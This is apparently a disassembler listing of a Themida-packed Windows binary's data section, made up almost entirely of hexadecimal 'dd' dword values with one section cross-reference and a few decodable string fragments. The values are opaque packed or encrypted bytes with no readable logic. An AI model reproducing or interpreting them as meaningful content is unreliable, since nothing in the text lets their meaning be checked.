		dd 220E248Eh, 1EE178EEh, 9FAC6E17h, 0FC199CD0h,	0C3DC3A1Bh
		dd 0C3B58A24h, 9B96623Ah, 873F3ADEh, 873766AAh,	0C3AC6663h
		dd 93F662A3h, 7DDE4612h, 4D88E631h, 9356A9F4h, 99D8D16Ah
		dd 0C1BA6747h, 3536628Eh, 0B70C3279h, 98A36AF1h, 0C95F6A5Ah
		dd 4B662E8h, 0D1A153D6h, 90615042h, 8B3D04EEh, 92B60872h
		dd 0C3B661AFh, 0EF42A3h, 0E7FAEB88h, 0E7F2E3ECh, 0C3B67670h
		dd 0E7233Ah, 7B66E9A4h,	0C3B6628Fh, 0CB5FF3B2h,	0D7B662A3h
		dd 0EA474015h, 93AE0291h, 0A927B8FFh, 0C05E333Ah, 0E3B6621Dh
		dd 4AEFA1D7h, 42B2460Bh, 0D7B246E7h, 82B662D1h,	798AA1B9h
		dd 0D5A4F58Fh, 0A96FEE5Ch, 0C05E351Dh, 0E3B6628Eh, 4AE9A118h
		dd 42B246DFh, 0DAB24695h, 84B662E8h, 0BE1DA123h, 0A15EFD21h
		dd 0CCB2A3EBh, 0C3B77F0Bh, 0C3A48A47h, 175062A3h, 0C972DE53h
		dd 2C8D08F2h, 83B3963Fh, 0B86188C3h, 1849E5A6h,	3B3C39C6h
		dd 0C3A58B1Eh, 704462A3h, 9279D750h, 0D80AE586h, 13779E48h
		dd 4CB6C117h, 0AB8FE2C0h, 0C2B5E781h, 0C3DC6247h, 0C3B58AF3h
		dd 9B9662D1h, 873F3A2Bh, 87376650h, 0C3AF661Eh,	93F6621Dh
		dd 0C70A204Dh, 0A57C1D06h, 0CC57FF19h, 0C3B6645Bh, 3365E3E8h
		dd 48FD0203h, 0C3DC6343h, 0C3B58A48h, 9E96628Eh, 0AF3F3F84h
		dd 87376687h, 0C3AF66F5h, 96F362E8h, 3E72E7B7h,	0A3B3CABAh
		dd 48D6BC96h, 0CCD70377h, 0C3B675CCh, 0C3A48BA3h, 0CE9F62D1h
		dd 6082B97Eh, 5E0B680Dh, 0C0EC5E43h, 1F181DD8h,	0C3B69D0Fh
		dd 41B9E247h, 0C3B662DEh, 4671B45Ah, 0C468333Ah, 0C3B66275h
		dd 4F5FBCB1h, 79B6621Dh, 0CB110E3Ah, 0C3B672AFh, 1C4C25A3h
		dd 0B7C5FC87h, 61044DBAh, 0C22EF01Ah, 12016DD8h, 0C3F18B47h
		dd 0C3DC628Eh, 0C3B58A14h, 989662A3h, 9F3F3912h, 873766CCh
		dd 0C3A36650h, 90F5623Ah, 48ECDBDEh, 43EF9756h,	40D055B0h
		dd 0CC4969DAh, 0C3B67A55h, 0FE5DE3E8h, 4A1EBCCh, 1DE7B0BFh
		dd 0C3B6631Ah, 2837308Eh, 0ED07DC9Ch, 0C3DC2AF8h, 0C3B58A86h
		dd 9C9662E8h, 0BF3F3DB7h, 8737661Eh, 0C3AF6639h, 94F1628Eh
		dd 0B6D45984h, 7A54C6DAh, 9FF1DA43h, 9566E765h,	7E3B65AAh
		dd 0C4683720h, 0C4C29A26h, 0A676DBEh, 0A9438900h, 0C05E31A3h
		dd 0E3B662D1h, 4AEDA1B3h, 42B24628h, 0DFB2467Eh, 80B6621Dh
		dd 6D2BA1DDh, 4A4F9315h, 0A51C2CBDh, 0B3658150h, 400FD510h
		dd 108437C9h, 47B9633Dh, 0C3B6624Dh, 2BE362E4h,	0C3B66244h
		dd 9E753F83h, 0C7920E58h, 0C7922669h, 0C3B6626Ch, 2875377Fh
		dd 453E580h, 620BE176h,	0C3B1B164h, 0C394E7ACh,	0CF5F62D1h
		dd 5B662E8h, 0D4A77377h, 4FE520C8h, 40F60EA8h, 10924733h
		dd 47B96240h, 0C3B662AAh, 0E774D8B7h, 0C3B6BB01h, 960BE174h
		dd 0C2B1B108h, 0C3E3E712h, 9E4F628Eh, 2BE5622Dh, 0C3B662A0h
		dd 987539F1h, 0C7923E61h, 0C79226F5h, 0C3B66221h, 0F075315Eh
		dd 742E2A14h, 0A31BDB23h, 0EF07DCC5h, 0D7A75Bh,	2BE16282h
		dd 0C3B66277h, 9C753D1Ah, 0C7921E94h, 0C792260Fh, 0C3B66253h
		dd 227535E4h, 2A08A551h, 0C3B66292h, 9E60E912h,	2BE06250h
		dd 0C3B6621Eh, 9D753CAEh, 0C79216CEh, 0C7922622h, 0C3B662CDh
		dd 1C7534AEh, 0B7C5FC22h, 61044D68h, 0EC85A09Ch, 0A979403Dh
		dd 0C05E3547h, 0E3B662A3h, 4AE9A18Eh, 42B24694h, 0D7B24630h
		dd 84B6623Ah, 0CC58A14Ah, 0C3B6640Eh, 4F7DE347h, 2BB0D868h
		dd 0C3B662D6h, 0DFFB2627h, 2BF119EEh, 0C3B66230h, 0D7F8826Bh
		dd 7170E62Fh, 40B98A34h, 0C3B662A3h, 7E3B388Ah,	0C46830FBh
		dd 952BEFF9h, 0DE0E65E4h, 0F0CD5841h, 109DDB0Bh, 2794940h
		dd 0F1DA437Ah, 66E7659Fh, 3B65AA95h, 6837207Eh,	0C29A26C4h
		dd 676DBEC4h, 0E983000Ah, 83A4F305h, 0DE51D2BDh, 0D740007h
		dd 4DB18D8Dh, 1B807D3h,	0FF000000h, 0D38040E1h,	52006A3Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 279A807Fh, 0DB3D1A8Fh, 0E8833495h, 51006A2Dh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0E9BBADC6h, 0F7F61485h, 0C08B1EEBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 7DC35343h, 2DA7C15Dh, 0C0308C60h
		dd 0B1BD830Ch, 7D313h, 0BD830975h, 7D3273Dh, 50197400h
		dd 0B8C08B53h, 3FCh, 9C98589h, 9D8D07D3h, 7DB2870h, 585BD3FFh
		dd 273DBD83h, 740007D3h, 0B8535017h, 3FCh, 9C98589h, 9D8D07D3h
		dd 7DB2511h, 585BD3FFh,	566EA81h, 0DE9764Ah, 79000000h
		dd 31006521h, 4771065h,	0D8E7F712h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 3AC35242h, 0A2770E3Ah, 0B030BB66h
		dd 14E960h, 6B530000h, 0CB39ED64h, 39444B1Fh, 6D9AC61Ch
		dd 0E04732Eh, 0BA66BA59h
		dd 8B614240h, 160E9C0h,	0C95A0000h, 6E8C3B4Ah, 4AAA8615h
		dd 5EAC4EE9h, 50B50934h, 50BF503Fh, 5E30093Ch, 774E5037h
		dd 2266391Ch, 7678504Eh, 0C254D2B5h, 0B0809EB1h, 12015009h
		dd 1285078h, 0
		dd 40000h, 2 dup(0)
		dd 350000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Dh dup(0)
		dd 7BE90000h, 6800001Fh, 7DE5BBEh, 0FB6551E9h, 5D2868FFh
		dd 47E907DEh, 68FFFB65h, 7DE5EAAh, 0FB653DE9h, 5FEA68FFh
		dd 33E907DEh, 68FFFB65h, 7DE61F8h, 0FB6529E9h, 63E368FFh
		dd 1FE907DEh, 68FFFB65h, 7DE64E0h, 0FB6515E9h, 65D368FFh
		dd 0BE907DEh, 68FFFB65h, 7DE68CAh, 0FB6501E9h, 6A2068FFh
		dd 0F7E907DEh, 68FFFB64h, 7DE6B2Eh, 0FB64EDE9h,	6BE968FFh
		dd 0E3E907DEh, 68FFFB64h, 7DE6E33h, 0FB64D9E9h,	75BA68FFh
		dd 0CFE907DEh, 68FFFB64h, 7DE773Dh, 0FB64C5E9h,	4BDF11FFh
		dd 0EE76AC71h, 44D619FEh, 0F383A368h, 45CF14F9h, 2323C867h
		dd 0A1867600h, 29EEBE4Ch, 9D827A00h, 0B741BB47h, 0FAC6AC0Bh
		dd 213A36B7h, 9F2B018Dh, 0CF578D1Ah, 0C64E941Eh, 37BEC69Dh
		dd 975A08CDh, 95671489h, 37EB2B9Fh, 499D0AAFh, 0BB9EAB9h
		dd 7241D9ACh, 22F8E68Ah, 1D823078h, 158E3BC7h, 0D8281566h
		dd 0FA238A4Eh, 0FFE049A4h, 7464F5B9h, 8E2D951Fh, 466BACE8h
		dd 0ACEB9322h, 0B25F466Bh, 9D2C4F3Ch, 74180C1Ch, 2F95D37Eh
		dd 0C3FB3864h, 62558EF4h, 721902E4h, 0D377D766h, 0A235F269h
		dd 0C515BD2Ah, 0F3BADB32h, 5Eh,	985A104Bh, 18D8CDECh, 0C6A57CEDh
		dd 0E50BC9CBh, 0BF24CB38h, 20CED322h, 15B6E990h, 1DAC75C3h
		dd 0A2F3419Ch, 81269E92h, 2DC448B8h, 0CD7D06E4h, 56E60835h
		dd 98237033h, 0E4F33AE3h, 36E926BCh, 0AF071196h, 0A2F37A00h
		dd 5977EE32h, 0C323EEECh, 7608B3E0h, 1723A966h,	10C94h
		dd 2B01AA00h, 568D1A9Fh, 0FC8D1FD0h, 0DCA211A3h, 503E9653h
		dd 5C641043h, 9653155Dh, 0FB80893Eh, 8B13D9CEh,	0E3BCCD59h
		dd 4A9A09B0h, 0E167BADFh, 0D0B6C7D8h, 443E9653h, 1B00C57h
		dd 0A91637B1h, 0B0417774h, 1664F34Eh, 9A69968Fh, 49A32FF5h
		dd 6514A044h, 2B59994Dh, 2511C48Ch, 0E69B3B5Fh,	6C3F9616h
		dd 418F904Bh, 0CE0A90Fh, 551D9C24h, 0C960C3A1h,	4FFBBBC0h
		dd 76ACF183h, 0B3D8CBEEh, 9916A211h, 0C7DC945Fh, 0C8F59628h
		dd 68E43D75h, 5571DDC0h, 7707F1B7h, 0D90A703Fh,	957EF11Eh
		dd 790B18E6h, 0FD875C41h, 0FFA8D3CCh, 624AA22Ch, 3358EA3Dh
		dd 3D25AF74h, 682DDA38h, 82D2CAFDh, 4300001Ch, 0F69B11A5h
		dd 4B50AC34h, 0EDB20A9Ch, 4E53A939h, 1A99139Dh,	24AE75D1h
		dd 9422C3C8h, 28AE7318h, 911DCFD4h, 0D2E1D11Bh,	36B7F8ACh
		dd 1E6B4320h, 7DC6289h,	2A5267Dh, 0C06557E1h, 240CE06Ch
		dd 15450CCDh, 0FB804CB1h, 985A10C3h, 79EDCDECh,	849017F1h
		dd 41A6A890h, 6AAA7D5Ch, 0C8D12393h, 0B846E7BCh, 0DCED8E11h
		dd 32E2B0DDh, 0DE5DADB5h, 12A1F9A3h, 0B430E823h, 0EF79AAEFh
		dd 26B2D9CAh, 3BA3193h,	8B19CC94h, 0EB40A5FEh, 915B609Ah
		dd 3288BC16h, 16B609C3h, 0E000001h, 0B4C55599h,	1DEE0EBh
		dd 89F1C02Bh, 0FD3E9653h, 6D3A3F14h, 51982CB6h,	4BA66B45h
		dd 6C3C877h, 0B743E9BEh, 8B339F0h, 0ADF8C9B5h, 0BCE504A0h
		dd 9F8BFD10h, 18A127FAh, 0DB90487h, 0C9393EFBh,	189420C4h
		dd 9425B173h, 5A6AA81Eh, 0AF5E5F5Bh, 0D820FA72h, 87163E51h
		dd 0DE359460h, 0DB76412h, 3B1C2CE6h, 0D7E4F161h, 0E7089D25h
		dd 5A099159h, 6F47742Fh, 358D37FBh, 14482E8Dh, 0BD65CF17h
		dd 0ABD0B935h, 0B178DA12h, 2B183105h, 38C8B77Dh, 9338BE63h
		dd 3AF9E72Ah, 8089EF89h, 525CCF4h, 0E88E2D55h, 5C69BD57h
		dd 53B036AFh, 8E7A2085h, 38F7890Dh, 45CF1493h, 2BBD6A2Fh
		dd 74B75CA0h, 31CD88EAh, 873AF182h, 1B1815h, 8317D900h
		dd 36BE6429h, 7C0EE1C6h, 0BB4B9B80h, 0FD875C41h, 9BAB40FFh
		dd 29EEBE48h, 0A1867604h, 25EAC248h, 0EF7973FFh, 0F60E7443h
		dd 698236B7h, 17A61ED5h, 3E96536Fh, 129536E3h, 0CD7547D1h
		dd 48715D8h, 0F7F581A3h, 0F12B0129h, 0A118200Fh, 873D66E8h
		dd 6ED59F60h, 0B192A543h, 987F7608h, 25A42773h,	0CA22AE7Eh
		dd 0E99022C5h, 0FA1310D7h, 16F47A39h, 0BB683E96h, 0D5CFB73Ah
		dd 963BA0E6h, 5C07143Eh, 28B4782Fh, 0CFD0A9D4h,	15ADD71Bh
		dd 0A7D25A90h, 3BB9C1FCh, 642D3E96h, 1C4E6D57h,	67769781h
		dd 286991B3h, 87A8FDC5h, 58B2B8F5h, 1ECFE4C0h, 0B3791E90h
		dd 894F7C27h, 0C00A39F2h, 0B72ED0F6h, 8FAAE19Dh, 0DDE7BC1Dh
		dd 0F59626C8h, 23BFFBAAh, 965AD115h, 0E0343C1Ah, 31397840h
		dd 0A5749C1Fh, 0EB7BABFCh, 0CAC8DDE0h, 0EED6CDA1h, 0E0E971B9h
		dd 4CFABCBFh, 0E1C6FE86h, 0C0FD7E0Ch, 0BE73B167h, 3A406F47h
		dd 0AE78B938h, 0FAE7D6E5h, 35ECCE28h, 0E288278Fh, 5604A447h
		dd 0B27F3E4Dh, 0B035AD8Fh, 8E24553Eh, 526A1AD8h, 64DE179Bh
		dd 0B8F52B3Ch, 0D39AD6B2h, 764E7D26h, 0D54D5E47h, 0FCF5530Eh
		dd 8AFC089h, 7B6B9749h,	1EA673C9h, 0B3D66489h, 0C1F9CBF0h
		dd 0EBB4BAF9h, 7B286501h, 0EB046A49h, 0AB786501h, 0D9658720h
		dd 0A838F6ABh, 0FFFD7E21h, 0E43ECA1Ah, 0FCCEC86Bh, 96DBBDC4h
		dd 57000019h, 0E2A70599h, 5F44B840h, 0E9AEFE90h, 5237B545h
		dd 16B50791h, 30BA71D5h, 8816D7BCh, 34BA6F34h, 8511D3B8h
		dd 0C6F5BD27h, 36B7F5C0h, 1673734h, 9C1A9F2Bh, 19D0E42Eh
		dd 0C9CF9FAEh, 754F7CFAh, 30D51546h, 0D1949E58h, 300D7E16h
		dd 4922B1Eh, 4FAD76C4h,	1A604F67h, 8E932999h, 7BB1F685h
		dd 0AF2EC5EFh, 0DD3AB643h, 7D359437h, 3C7B09C9h, 909D9004h
		dd 9D25FDA2h, 3B6F2018h, 0DAE1676Ah, 5D3B65E3h,	937645EAh
		dd 0DB8B4B0Ah, 0BBE0947Dh, 7F0BE169h, 0EC76ADFAh, 0C291C2DDh
		dd 99AB42EAh, 15E5DE68h, 0E606A12Ah, 23922A5Ah,	0F6D0F85Bh
		dd 0F8602695h, 0C7D4F6D0h, 28A12AF7h, 0ACC92098h, 7E23ED7Ah
		dd 0C3A3CBE2h, 0A17F6D0h, 51813581h, 714F9423h,	20C74480h
		dd 0E1C933BEh, 5A63685Ch, 0E9C6D3DAh, 6ECA5E3Fh, 66B46DA7h
		dd 529207BDh, 43E9BEC6h, 0EA9112B7h, 4BD70D12h,	10C2783Eh
		dd 0A3475C64h, 914D701Bh, 0ECBC1FABh, 64FDED2Fh, 8F6BD017h
		dd 5F4A6AF2h, 0C87E1F5Ch, 62B52352h, 1B135B5Ah,	9A87AAE1h
		dd 45F0DF1h, 18270A1Ch,	0E64C17C6h, 0B6EF0073h,	56D7C1C8h
		dd 17000018h, 0A26745D9h, 1F04F880h, 0A96E3ED0h, 12F7F585h
		dd 0D67547D1h, 70FA3115h, 0C856977Ch, 74FA2FF4h, 0C5519378h
		dd 6B57DE7h, 36B7F480h,	1E27F7F4h, 0A7D46689h, 9AF32B00h
		dd 5F9CA3A5h, 3EF4C89Bh, 7B3A4A88h, 9400629h, 0B40B5F0h
		dd 0E7D3B9h, 0A9B55172h, 84EAC962h, 0F82ECDA3h,	0D97D782Bh
		dd 1C153AC2h, 3A14A9D2h, 9336E976h, 299B1EEBh, 9821B374h
		dd 1238407h, 792AB079h,	3334BB83h, 1F6A5210h, 598B1C9Fh
		dd 40F6BCCDh, 0C0C95796h, 86C9B100h, 543D26B2h,	912054FFh
		dd 409279AFh, 0EBE13056h, 63526A10h, 8B9431Bh, 5F9828Fh
		dd 0E3884B36h, 3DB84622h, 63894A4Eh, 3998DED7h,	2953762Dh
		dd 67BD3EA9h, 0A211A9DBh, 0EE8EF8DCh, 0C4384350h, 0ABA78EEh
		dd 0B7C25095h, 0D6E5DFECh, 0DC114B15h, 0C3A88E7Eh, 95249C07h
		dd 0FA55A2EDh, 6813B861h, 9A24C7DCh, 0B607B4EFh, 16F37E92h
		dd 0A227F482h, 531B9A22h, 0C7DDB7C9h, 36F6B1DAh, 44A81FAAh
		dd 3FF367A3h, 0D3188D35h, 127B4249h, 7619E52h, 6363E8C6h
		dd 8AECF786h, 8123CDBFh, 0ED3ECA1Ch, 738B3063h,	876E56A6h
		dd 7BAA732Bh, 0A7ED08EDh, 36F6B1DAh, 1DA51FAAh,	0A7D66688h
		dd 0D2BD5DDFh, 0EC9D27FCh, 2D4E3BB3h, 84644E90h, 0BF98B924h
		dd 6F3EC772h
		dd 0A23689B0h, 8B1C90D2h, 0BC30BC70h, 8915D7h, 0A6CE04B2h
		dd 4FC61917h, 57C4F81Bh, 0A894A0EEh, 0CB5B8B10h, 674DCCB2h
		dd 28534073h, 0EE1CCA95h, 0B45D01CBh, 18812D38h, 754470A2h
		dd 4545E90Bh, 0EFD87542h, 3B49F448h, 0F80DD63Dh, 0BDE2BD66h
		dd 0CADDC66h, 606DB7D4h, 18EC0F2Bh, 4BD5683Fh, 0EE1397h
		dd 4272A016h, 0ACFB875Dh, 0C4DFEA7Ah, 5AAE0DB7h, 69B980F4h
		dd 0F78C8816h, 953A33Ah, 0AA545043h, 4B53DE5h, 0E7BCC89Bh
		dd 5E43B945h, 57E9068Eh, 5267D0Ch, 67BAF77Bh, 0F48B6318h
		dd 1648A4h, 53E70900h, 0E66EB459h, 4CDE1116h, 0EB7BAB70h
		dd 4DD70C11h, 2B1BD06Fh, 997E6EF8h, 31F6C654h, 957A72F8h
		dd 7FE9C34Fh, 0F27E04B3h, 0F9F236B7h, 0A02A0125h, 3AA5474Ch
		dd 9652F37Bh, 640C673Eh, 5A82BFD2h, 38411241h, 0FB31B96Bh
		dd 0E594A6Fh, 7A2554DCh, 66C6A029h, 0DE6ABA41h,	921CD1D6h
		dd 0EDB6C355h, 0F9E715B6h, 2315F5C9h, 20AF7h, 96584D00h
		dd 1398506h, 90159F2Bh,	0A7CFEE5Fh, 1B3E9653h, 0B94256Eh
		dd 8A5A4980h, 42F8AEFEh, 6CBFE490h, 0BFCCD7E2h,	65F9B605h
		dd 37DA1051h, 0E2D3DB6Ch, 7237AB42h, 68A0EB44h,	5663EB3Fh
		dd 1A7F3E4Dh, 4856F26Ch, 0AE3CF1B6h, 0B5CFB706h, 5643B4C2h
		dd 183D7C0Dh, 85D31A34h, 0EBBB36E2h, 0B3583409h, 297E8C22h
		dd 2A517A00h, 884A5D8Fh, 0DA941254h, 0B947E6BBh, 9FEC8F10h
		dd 5Bh,	9C5A109Fh, 0DBE9BA4Ah, 10DBFFDCh, 0D8E460B7h, 158A3688h
		dd 413A41D1h, 0F31B785Ch, 0EF9C0255h, 2333F3CAh, 28167DE5h
		dd 0F25643C1h, 2C4074ADh, 0E60E7FFCh, 8EED8EC5h, 0CB02D3AFh
		dd 566E0904h, 3C274F6Eh, 0EE9B026Dh, 0D1F882A9h, 0A83FADCEh
		dd 0ED931A2Ah, 0DB48E6h, 1760000h, 8D1A9F2Bh, 0E6BDCC56h
		dd 980FBA46h, 0E7BCC854h, 0A908BC42h, 3E9653C1h, 9D5F6C35h
		dd 65D8DE15h, 98C6E83Fh, 963F5119h, 87DCC53Eh, 5760002Eh
		dd 0BBC0B3F5h, 0AD299902h, 9BFA9257h, 63528E6Ch, 3A8845AFh
		dd 46D212FBh, 4F37863Eh, 0C33E956Ch, 5147B5D6h,	18972DE5h
		dd 8DC53678h, 175F5E66h, 8BEF65A2h, 0F0C0FD7Eh,	0BE522932h
		dd 0C248A106h, 0A212C3ABh, 616A378Ch, 0DD760E9Dh, 20CEE289h
		dd 875C4173h, 47D79F1Eh, 3E4B36BAh, 1C47D319h, 9E28FBA0h
		dd 86AC69C4h, 59434622h, 145Dh,	6E3ED21Eh, 3F981A9h, 6D3FD11Eh
		dd 6F686A8h, 6C40CA21h,	52620CDh, 499C817Bh, 855C41BBh
		dd 44E8ADFFh, 0ABA44B8h, 0B7F0C3ABh, 643A3736h,	4CA02A01h
		dd 0A319A547h, 9F2B0115h, 0CB578D1Ah, 6CF82CF1h, 31E1555Dh
		dd 6FAD3483h, 0C822E8ECh, 2ABFC631h, 9625AD75h,	3FF7D568h
		dd 259D9AB1h, 16010FCEh, 803D7DF8h, 36C33FFAh, 0E816A56Eh
		dd 872F8D96h, 98214160h, 23A82663h, 0A9979h, 0EAC9F100h
		dd 36C28B84h, 0AA7C2BF8h, 14D711Ah, 0A019A02Ah,	591566C8h
		dd 21A98126h, 0A227B976h, 7A437A01h, 4AA1821Eh,	982F18B3h
		dd 8E3CF209h, 30883044h, 0C099F981h, 0F6C56D43h, 43C09A90h
		dd 3F4C1704h, 7B12E7Eh,	0D403F5F3h, 988B0FB1h, 3BE24279h
		dd 4E762379h, 0D80B9359h, 2B782B4Eh, 8C18CCD1h,	69AEF1F8h
		dd 0D5BB1E7Fh, 5F8423A6h, 49044DD5h, 6E1162ACh,	13602Eh
		dd 3BCF2100h, 7E06DCC1h, 34C6692Eh, 8313D3B8h, 35BF6429h
		dd 53F3F8B7h, 0F1B60690h, 593EAE3Ch, 0EDB20A90h, 0A751AB37h
		dd 0EFD69C1Bh, 114A36B7h, 0A02A017Dh, 19A5474Ch, 9C4B5070h
		dd 626810Ah, 96584F7Ah,	72418306h, 3E96530Ch, 22C49380h
		dd 7CF0E792h, 0D25A906Bh, 96119981h, 8133BF65h,	8F3ACA1Ch
		dd 63E4A466h, 62313CFAh, 85D5A359h, 0B3231630h,	23h, 0DDC6170Bh
		dd 2C4BB638h, 0B29466Dh, 9148A932h, 66883D7Ah, 294DFD6h
		dd 0C90EDA6Dh, 0FCF5C29Ah, 17B4FFFFh, 500CF85Eh, 807AACB3h
		dd 0E3A1382Fh, 1D39D4BCh, 650FC377h, 29F88456h,	0B3E10F4Fh
		dd 3FDE391Bh, 0FBE1B16Ah, 0D06F863Eh, 835D2191h, 0F2D9A1DCh
		dd 444D3287h, 0F19A4437h, 860EDEC3h, 7D0FE064h,	5300534Ch
		dd 0E470B459h, 931DCED5h, 54C1708Fh, 5A424529h,	126Dh
		dd 7E6E022Eh, 0F3C95199h, 7D6F012Eh, 0F6C65698h, 7C70FA31h
		dd 0D51630BDh, 79AC714Bh, 0D50C11EBh, 74B85D4Fh, 0DA6A14E8h
		dd 0B7EE93DBh, 54EA0736h, 6F17A61Eh, 0E33E9653h, 0D2129536h
		dd 0C0644346h, 49E18534h, 0BB479D5Eh, 72417941h, 3E96530Ch
		dd 96E89380h, 2316AA46h, 1974h,	7F17CA00h, 92FC8F29h, 0E8E8058Eh
		dd 36EE0198h, 91526E01h, 0FFFC26BBh, 5A10ADFFh,	0E5D4EC98h
		dd 3E96539Dh, 3D7C0811h, 3E965335h, 0E9DBE0A9h,	818F9FCAh
		dd 400CE396h, 658AD342h, 3D437A01h, 2A412E4Dh, 52E0059Ah
		dd 0F38E9429h, 3E9C91BCh, 7A952455h, 939A4A5Eh,	90FFC17Ch
		dd 0A86A11A8h, 4BA25F24h, 30F558Eh, 0AAD0DF93h,	1E4A4BF6h
		dd 0B3791E75h, 7A01A227h, 0AC3BAD84h, 0CC513626h, 63569D2Eh
		dd 7C2E0244h, 7E6B20ABh, 0D3000002h, 2F3CD71Eh,	2E180745h
		dd 0F481308Dh, 0BF467B48h, 0B25D9211h, 1B37DB12h, 49538844h
		dd 3B40D01Eh, 4F9E8082h, 34EDB20Dh, 0F3980BAEh,	43383CE5h
		dd 4BD319A1h, 0F440F97h, 185E5D65h, 8C3F168Dh, 8913D87Fh
		dd 0E01C9F00h, 2C5DE93Bh, 0B7C6808Dh, 1E6D848Fh, 24FDE733h
		dd 31BD6F38h, 49741788h, 4BFABAECh, 6889DBCAh, 0E111E2C6h
		dd 0AB26681h, 1596C3ABh, 0C16E373Fh, 4A198A2Fh,	152786Bh
		dd 3A41A08Ah, 0D12BB76Dh, 18A16DDBh, 0A234F3A8h, 0D65E8E19h
		dd 0A2FD8C14h, 0D616FBF1h, 20853F4Ah, 0D3B83DCFh, 0CC8E6A69h
		dd 0C42D903Bh, 0DDCC38h, 0B73FE3B8h, 96DC9112h,	0AA06039h
		dd 38EB9322h, 0B25FA060h, 0D8E3DAE1h, 0ACF9C479h, 4DB8330Dh
		dd 9A52E58Ch, 9595C50Dh, 9EC3E62Ah, 0FB000001h,	159F2B01h
		dd 0ADCE5E90h, 0DD65871Ch, 0D6267D05h, 1CA86AE0h, 0A5CB9B9Dh
		dd 15A2490Dh, 0A13E54BFh, 0C0E9D4F7h, 90C33373h, 8AB0B3E9h
		dd 0F59E4098h, 128FF5C4h, 0FDBE08CEh, 648F90CFh, 276AFCB9h
		dd 0E2C2570Fh, 5114C80Bh, 0F596D61Fh, 0F2E2F0F7h, 208C5319h
		dd 4Eh,	0EA5A101Eh, 34383321h, 565E3514h, 45873867h, 9C4A39E3h
		dd 34090A85h, 5D08BE87h, 8B2EDB89h, 0F2F51C32h,	2CCDAF3Fh
		dd 8635E346h, 0F0382E1Eh, 7E696356h, 2AC0054h, 0F43267DAh
		dd 0E7345764h, 90000000h, 48E18928h, 4C55F582h,	891E7F3Fh
		dd 0A7D466h, 8A19A02Ch,	0FDAACF59h, 0B9EE9B27h,	2615E773h
		dd 0BDC49A01h, 34A041F2h, 52F5C8C3h, 2387E35h, 0BB73FBBAh
		dd 0C1DE3EB8h, 851710B0h, 0BAC1CA24h, 37C3691Eh, 0B77BEFC5h
		dd 8006B50Dh, 0F43EB8FCh, 9120A427h, 4420670Ah,	1BEB42FBh
		dd 434BF2ACh, 3D3BC54Ah, 9336C668h, 0E1936B10h,	0D4178C38h
		dd 76AD724Ah, 94E48D3Eh, 0BF284C59h, 7316BE19h,	57DB88DBh
		dd 0C8179132h, 761C7C03h, 3700000Fh, 828765F9h,	3FE4D860h
		dd 898E5EF0h, 32D7D565h, 0B69567F1h, 50DA1135h,	0E876B75Ch
		dd 54DA0F14h, 0E571B358h, 0E6D55D07h, 36B7EBA0h, 147D714h
		dd 1BF2F22Ah, 850E4649h, 9F56DECEh, 38EA908Dh, 3F08ED51h
		dd 0F7B6FE90h, 0D517903Bh, 0C473B79Bh, 0C390A1A3h, 2B013BE9h
		dd 9FF482A3h, 0CB578D1Ah, 5CC21F1h, 21990000h, 9652EC92h
		dd 8B3603Eh, 795ADBB6h,	406F05CDh, 778D1E3Ah, 9F5D76Dh
		dd 9CDA8124h, 0DAF9E31Fh
		dd 0D5ED9784h
dword_680000	dd 8715A0E6h, 840714D4h, 1BD7831Bh, 73EE4A69h, 168DDA37h
					; DATA XREF: Themida_:005CC44Co
		dd 0EEF451AAh, 0C19FE7D6h, 613A95Bh, 3EAA7985h,	98CCB3EFh
		dd 762B5942h, 75FB2EB6h, 2AB0791Eh, 2A9128A1h, 0E275D3FDh
		dd 0ADDC66BDh, 8BF3C2F2h, 0FF96332Ah, 1D546912h, 0B3F19BCEh
		dd 393AE00h, 79388086h,	0EF9178F1h, 6C0FBC65h, 468C1BCDh
		dd 0D411D416h, 7606287Dh, 602B5053h, 4C0h, 9CAA175Eh, 4A670F81h
		dd 68C2F735h, 965417D5h, 0CCEA913Eh, 6F979C7Fh,	0C4CF5A76h
		dd 640157E6h, 684E01EDh, 853440F2h, 0D465A8D1h,	4200BD5Ch
		dd 0F41EBDE9h, 3054BFA5h, 89BF27BEh, 8C5E2493h,	0C9D2C10Fh
		dd 0D1EED0ECh, 0D75A082h, 3F4258DCh, 0E205Dh, 7B0FE100h
		dd 0BE469C81h, 740629EEh, 0C3539378h, 75FF24E9h, 1333B877h
		dd 0B17646D0h, 19FEEE7Ch, 0AD724AD0h, 6711EB77h, 0E996DCDBh
		dd 0D10A36B7h, 9F2B013Dh, 0D25A9015h, 0A6D55D85h, 0EB279323h
		dd 0A031DAD9h, 7C2A6F6Fh, 46368D2Ah, 3C3127AFh,	98BFB706h
		dd 16C2C953h, 17AF3B87h, 0DEAB11E5h, 74A2180Eh,	79821B3h
		dd 0C489285Ch, 3150C9FBh, 80E96114h, 0CA722DCCh, 3B09D491h
		dd 0EF6154B4h, 9E1D7EC9h, 0C83A6D8h, 67143F4Ch,	0A5FA8A97h
		dd 2BFAF280h, 1E4E40D7h, 0C28D9FE2h, 0DF50E708h, 0AFF070A2h
		dd 1DAC3CEAh, 0A282F982h, 0FBBA29FDh, 0E8EE6F73h, 62693AE7h
		dd 4C7DE554h, 0CCA3D535h, 0E3CB2172h, 0C996DCDBh, 0C601E8EEh
		dd 1DCE47C6h, 0DBE0A905h, 52DD19CCh, 618DA324h,	0F9AEDB88h
		dd 9422A733h, 0E0D8EC26h, 0F6012509h, 18A3392Eh, 36F0EEA5h
		dd 0E77EFF7Dh, 51E49D11h, 375A9E4Eh, 151D0678h,	78203FE4h
		dd 128E0EB1h, 0D300000Dh, 662B8115h, 0DBC03CC4h, 9D827A0Ch
		dd 5E43B949h, 0AA9038Dh, 34BE65E1h, 8412D3B8h, 38BE6328h
		dd 810DDFC4h, 0C2F1C12Bh, 36B7E8BCh, 1E5B3330h,	0A4D56589h
		dd 0ED77ACFBh, 0FEB8C3DCh, 0C2FA8A48h, 7FBDFE2Bh, 43714272h
		dd 95B20E74h, 0F299823Eh, 714443CBh, 0E4C33647h, 62518ECCh
		dd 42D76A4Ah, 0E2927FDFh, 0E2DA68BDh, 915EE83Dh, 0D56E003h
		dd 0D7833356h, 8E4A691Bh, 0EDB1C887h, 0B537CA19h, 3A1D983Fh
